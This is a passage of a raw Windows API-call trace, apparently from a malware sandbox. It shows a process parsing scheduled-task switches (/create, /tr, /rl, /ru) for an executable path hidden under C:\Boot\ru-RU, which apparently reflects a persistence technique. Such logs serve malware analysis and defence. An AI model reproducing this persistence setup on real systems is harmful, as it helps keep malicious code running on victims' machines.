_ArgList=0x17c588 | out: _Buffer="|tr|") returned 4 [0132.943] lstrlenW (lpString="|rp|") returned 4 [0132.943] lstrlenW (lpString="|tr|") returned 4 [0132.943] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0132.943] SetLastError (dwErrCode=0x490) [0132.943] lstrlenW (lpString="sc") returned 2 [0132.943] lstrlenW (lpString="sc") returned 2 [0132.943] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.943] lstrlenW (lpString="tr") returned 2 [0132.943] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.943] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|sc|") returned 4 [0132.943] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tr|") returned 4 [0132.943] lstrlenW (lpString="|sc|") returned 4 [0132.943] lstrlenW (lpString="|tr|") returned 4 [0132.943] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0132.943] SetLastError (dwErrCode=0x490) [0132.943] lstrlenW (lpString="mo") returned 2 [0132.943] lstrlenW (lpString="mo") returned 2 [0132.944] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.944] lstrlenW (lpString="tr") returned 2 [0132.944] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.944] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|mo|") returned 4 [0132.944] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tr|") returned 4 [0132.944] lstrlenW (lpString="|mo|") returned 4 [0132.944] lstrlenW (lpString="|tr|") returned 4 [0132.944] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0132.944] SetLastError (dwErrCode=0x490) [0132.944] lstrlenW (lpString="d") returned 1 [0132.944] lstrlenW (lpString="d") returned 1 [0132.944] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.944] lstrlenW (lpString="tr") returned 2 [0132.944] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.944] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|d|") returned 3 [0132.944] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tr|") returned 4 [0132.944] lstrlenW (lpString="|d|") returned 3 [0132.944] lstrlenW (lpString="|tr|") returned 4 [0132.944] SetLastError (dwErrCode=0x490) [0132.944] lstrlenW (lpString="m") returned 1 [0132.944] lstrlenW (lpString="m") returned 1 [0132.944] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.944] lstrlenW (lpString="tr") returned 2 [0132.944] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.945] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|m|") returned 3 [0132.945] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tr|") returned 4 [0132.945] lstrlenW (lpString="|m|") returned 3 [0132.945] lstrlenW (lpString="|tr|") returned 4 [0132.945] SetLastError (dwErrCode=0x490) [0132.945] lstrlenW (lpString="i") returned 1 [0132.945] lstrlenW (lpString="i") returned 1 [0132.945] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.945] lstrlenW (lpString="tr") returned 2 [0132.945] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.945] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|i|") returned 3 [0132.945] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tr|") returned 4 [0132.945] lstrlenW (lpString="|i|") returned 3 [0132.945] lstrlenW (lpString="|tr|") returned 4 [0132.945] SetLastError (dwErrCode=0x490) [0132.945] lstrlenW (lpString="tn") returned 2 [0132.945] lstrlenW (lpString="tn") returned 2 [0132.945] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.945] lstrlenW (lpString="tr") returned 2 [0132.945] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.945] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tn|") returned 4 [0132.945] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tr|") returned 4 [0132.945] lstrlenW (lpString="|tn|") returned 4 [0132.945] lstrlenW (lpString="|tr|") returned 4 [0132.946] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0132.946] SetLastError (dwErrCode=0x490) [0132.946] lstrlenW (lpString="tr") returned 2 [0132.946] lstrlenW (lpString="tr") returned 2 [0132.946] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.946] lstrlenW (lpString="tr") returned 2 [0132.946] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.946] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tr|") returned 4 [0132.946] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tr|") returned 4 [0132.946] lstrlenW (lpString="|tr|") returned 4 [0132.946] lstrlenW (lpString="|tr|") returned 4 [0132.946] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0132.946] SetLastError (dwErrCode=0x0) [0132.946] SetLastError (dwErrCode=0x0) [0132.946] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0132.946] lstrlenW (lpString="-/") returned 2 [0132.946] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0132.946] SetLastError (dwErrCode=0x490) [0132.946] SetLastError (dwErrCode=0x490) [0132.946] SetLastError (dwErrCode=0x0) [0132.946] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0132.946] StrChrIW (lpStart="'C:\\Boot\\ru-RU\\but inside save.exe'", wMatch=0x3a) returned=":\\Boot\\ru-RU\\but inside save.exe'" [0132.946] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0132.946] _memicmp (_Buf1=0x1ad500, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.946] _memicmp (_Buf1=0x1ad540, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.947] SetLastError (dwErrCode=0x7a) [0132.947] SetLastError (dwErrCode=0x0) [0132.947] SetLastError (dwErrCode=0x0) [0132.947] lstrlenW (lpString="'C") returned 2 [0132.947] lstrlenW (lpString="-/") returned 2 [0132.947] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0132.947] SetLastError (dwErrCode=0x490) [0132.947] SetLastError (dwErrCode=0x490) [0132.947] SetLastError (dwErrCode=0x0) [0132.947] _memicmp (_Buf1=0x1ad580, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.947] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0132.947] GetProcessHeap () returned 0x190000 [0132.947] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad5a0) returned 1 [0132.947] GetProcessHeap () returned 0x190000 [0132.947] RtlReAllocateHeap (Heap=0x190000, Flags=0xc, Ptr=0x1ad5a0, Size=0x48) returned 0x1a9330 [0132.947] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0132.947] lstrlenW (lpString=" \x09") returned 2 [0132.947] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0132.947] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0132.947] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0132.947] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0132.947] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0132.947] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0132.947] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0132.947] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0132.947] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0132.947] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0132.947] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0132.947] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0132.948] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0132.948] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0132.948] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0132.948] GetLastError () returned 0x0 [0132.948] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0132.948] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0132.948] SetLastError (dwErrCode=0x0) [0132.949] SetLastError (dwErrCode=0x0) [0132.949] lstrlenW (lpString="/rl") returned 3 [0132.949] lstrlenW (lpString="-/") returned 2 [0132.949] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.949] lstrlenW (lpString="create") returned 6 [0132.949] lstrlenW (lpString="create") returned 6 [0132.949] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.949] lstrlenW (lpString="rl") returned 2 [0132.949] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.949] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|create|") returned 8 [0132.949] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.949] lstrlenW (lpString="|create|") returned 8 [0132.949] lstrlenW (lpString="|rl|") returned 4 [0132.949] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0132.949] SetLastError (dwErrCode=0x490) [0132.949] lstrlenW (lpString="?") returned 1 [0132.949] lstrlenW (lpString="?") returned 1 [0132.949] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.949] lstrlenW (lpString="rl") returned 2 [0132.949] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.949] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|?|") returned 3 [0132.949] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.949] lstrlenW (lpString="|?|") returned 3 [0132.949] lstrlenW (lpString="|rl|") returned 4 [0132.949] SetLastError (dwErrCode=0x490) [0132.949] lstrlenW (lpString="s") returned 1 [0132.950] lstrlenW (lpString="s") returned 1 [0132.950] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.950] lstrlenW (lpString="rl") returned 2 [0132.950] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.950] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|s|") returned 3 [0132.950] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.950] lstrlenW (lpString="|s|") returned 3 [0132.950] lstrlenW (lpString="|rl|") returned 4 [0132.950] SetLastError (dwErrCode=0x490) [0132.950] lstrlenW (lpString="u") returned 1 [0132.950] lstrlenW (lpString="u") returned 1 [0132.950] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.950] lstrlenW (lpString="rl") returned 2 [0132.950] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.950] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|u|") returned 3 [0132.950] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.950] lstrlenW (lpString="|u|") returned 3 [0132.950] lstrlenW (lpString="|rl|") returned 4 [0132.950] SetLastError (dwErrCode=0x490) [0132.950] lstrlenW (lpString="p") returned 1 [0132.950] lstrlenW (lpString="p") returned 1 [0132.950] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.950] lstrlenW (lpString="rl") returned 2 [0132.950] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.950] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|p|") returned 3 [0132.951] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.951] lstrlenW (lpString="|p|") returned 3 [0132.951] lstrlenW (lpString="|rl|") returned 4 [0132.951] SetLastError (dwErrCode=0x490) [0132.951] lstrlenW (lpString="ru") returned 2 [0132.951] lstrlenW (lpString="ru") returned 2 [0132.951] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.951] lstrlenW (lpString="rl") returned 2 [0132.951] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.951] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|ru|") returned 4 [0132.951] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.951] lstrlenW (lpString="|ru|") returned 4 [0132.951] lstrlenW (lpString="|rl|") returned 4 [0132.951] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0132.951] SetLastError (dwErrCode=0x490) [0132.951] lstrlenW (lpString="rp") returned 2 [0132.951] lstrlenW (lpString="rp") returned 2 [0132.951] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.951] lstrlenW (lpString="rl") returned 2 [0132.951] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.951] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rp|") returned 4 [0132.951] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.951] lstrlenW (lpString="|rp|") returned 4 [0132.951] lstrlenW (lpString="|rl|") returned 4 [0132.952] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0132.952] SetLastError (dwErrCode=0x490) [0132.952] lstrlenW (lpString="sc") returned 2 [0132.952] lstrlenW (lpString="sc") returned 2 [0132.952] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.952] lstrlenW (lpString="rl") returned 2 [0132.952] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.952] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|sc|") returned 4 [0132.952] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.952] lstrlenW (lpString="|sc|") returned 4 [0132.952] lstrlenW (lpString="|rl|") returned 4 [0132.952] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0132.952] SetLastError (dwErrCode=0x490) [0132.952] lstrlenW (lpString="mo") returned 2 [0132.952] lstrlenW (lpString="mo") returned 2 [0132.952] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.952] lstrlenW (lpString="rl") returned 2 [0132.952] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.952] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|mo|") returned 4 [0132.952] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.952] lstrlenW (lpString="|mo|") returned 4 [0132.952] lstrlenW (lpString="|rl|") returned 4 [0132.952] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0132.952] SetLastError (dwErrCode=0x490) [0132.952] lstrlenW (lpString="d") returned 1 [0132.953] lstrlenW (lpString="d") returned 1 [0132.953] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.953] lstrlenW (lpString="rl") returned 2 [0132.953] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.953] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|d|") returned 3 [0132.953] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.953] lstrlenW (lpString="|d|") returned 3 [0132.953] lstrlenW (lpString="|rl|") returned 4 [0132.953] SetLastError (dwErrCode=0x490) [0132.953] lstrlenW (lpString="m") returned 1 [0132.953] lstrlenW (lpString="m") returned 1 [0132.953] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.953] lstrlenW (lpString="rl") returned 2 [0132.953] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.953] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|m|") returned 3 [0132.953] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.953] lstrlenW (lpString="|m|") returned 3 [0132.953] lstrlenW (lpString="|rl|") returned 4 [0132.953] SetLastError (dwErrCode=0x490) [0132.953] lstrlenW (lpString="i") returned 1 [0132.953] lstrlenW (lpString="i") returned 1 [0132.953] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.953] lstrlenW (lpString="rl") returned 2 [0132.953] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.953] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|i|") returned 3 [0132.953] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.953] lstrlenW (lpString="|i|") returned 3 [0132.954] lstrlenW (lpString="|rl|") returned 4 [0132.954] SetLastError (dwErrCode=0x490) [0132.954] lstrlenW (lpString="tn") returned 2 [0132.954] lstrlenW (lpString="tn") returned 2 [0132.954] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.954] lstrlenW (lpString="rl") returned 2 [0132.954] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.954] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tn|") returned 4 [0132.954] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.954] lstrlenW (lpString="|tn|") returned 4 [0132.954] lstrlenW (lpString="|rl|") returned 4 [0132.954] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0132.954] SetLastError (dwErrCode=0x490) [0132.954] lstrlenW (lpString="tr") returned 2 [0132.954] lstrlenW (lpString="tr") returned 2 [0132.954] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.954] lstrlenW (lpString="rl") returned 2 [0132.954] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.954] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tr|") returned 4 [0132.954] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.954] lstrlenW (lpString="|tr|") returned 4 [0132.954] lstrlenW (lpString="|rl|") returned 4 [0132.954] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0132.954] SetLastError (dwErrCode=0x490) [0132.954] lstrlenW (lpString="st") returned 2 [0132.954] lstrlenW (lpString="st") returned 2 [0132.954] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.955] lstrlenW (lpString="rl") returned 2 [0132.955] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.955] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|st|") returned 4 [0132.955] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.955] lstrlenW (lpString="|st|") returned 4 [0132.955] lstrlenW (lpString="|rl|") returned 4 [0132.955] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0132.955] SetLastError (dwErrCode=0x490) [0132.955] lstrlenW (lpString="sd") returned 2 [0132.955] lstrlenW (lpString="sd") returned 2 [0132.955] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.955] lstrlenW (lpString="rl") returned 2 [0132.955] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.955] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|sd|") returned 4 [0132.955] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.955] lstrlenW (lpString="|sd|") returned 4 [0132.955] lstrlenW (lpString="|rl|") returned 4 [0132.955] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0132.955] SetLastError (dwErrCode=0x490) [0132.955] lstrlenW (lpString="ed") returned 2 [0132.955] lstrlenW (lpString="ed") returned 2 [0132.955] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.955] lstrlenW (lpString="rl") returned 2 [0132.955] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.955] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|ed|") returned 4 [0132.955] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.956] lstrlenW (lpString="|ed|") returned 4 [0132.956] lstrlenW (lpString="|rl|") returned 4 [0132.956] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0132.956] SetLastError (dwErrCode=0x490) [0132.956] lstrlenW (lpString="it") returned 2 [0132.956] lstrlenW (lpString="it") returned 2 [0132.956] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.956] lstrlenW (lpString="rl") returned 2 [0132.956] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.956] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|it|") returned 4 [0132.956] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.956] lstrlenW (lpString="|it|") returned 4 [0132.956] lstrlenW (lpString="|rl|") returned 4 [0132.956] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0132.956] SetLastError (dwErrCode=0x490) [0132.956] lstrlenW (lpString="et") returned 2 [0132.956] lstrlenW (lpString="et") returned 2 [0132.956] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.956] lstrlenW (lpString="rl") returned 2 [0132.956] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.956] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|et|") returned 4 [0132.956] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.956] lstrlenW (lpString="|et|") returned 4 [0132.956] lstrlenW (lpString="|rl|") returned 4 [0132.956] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0132.956] SetLastError (dwErrCode=0x490) [0132.957] lstrlenW (lpString="k") returned 1 [0132.957] lstrlenW (lpString="k") returned 1 [0132.957] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.957] lstrlenW (lpString="rl") returned 2 [0132.957] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.957] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|k|") returned 3 [0132.957] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.957] lstrlenW (lpString="|k|") returned 3 [0132.957] lstrlenW (lpString="|rl|") returned 4 [0132.957] SetLastError (dwErrCode=0x490) [0132.957] lstrlenW (lpString="du") returned 2 [0132.957] lstrlenW (lpString="du") returned 2 [0132.957] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.957] lstrlenW (lpString="rl") returned 2 [0132.957] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.957] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|du|") returned 4 [0132.957] _vsnwprintf (in: 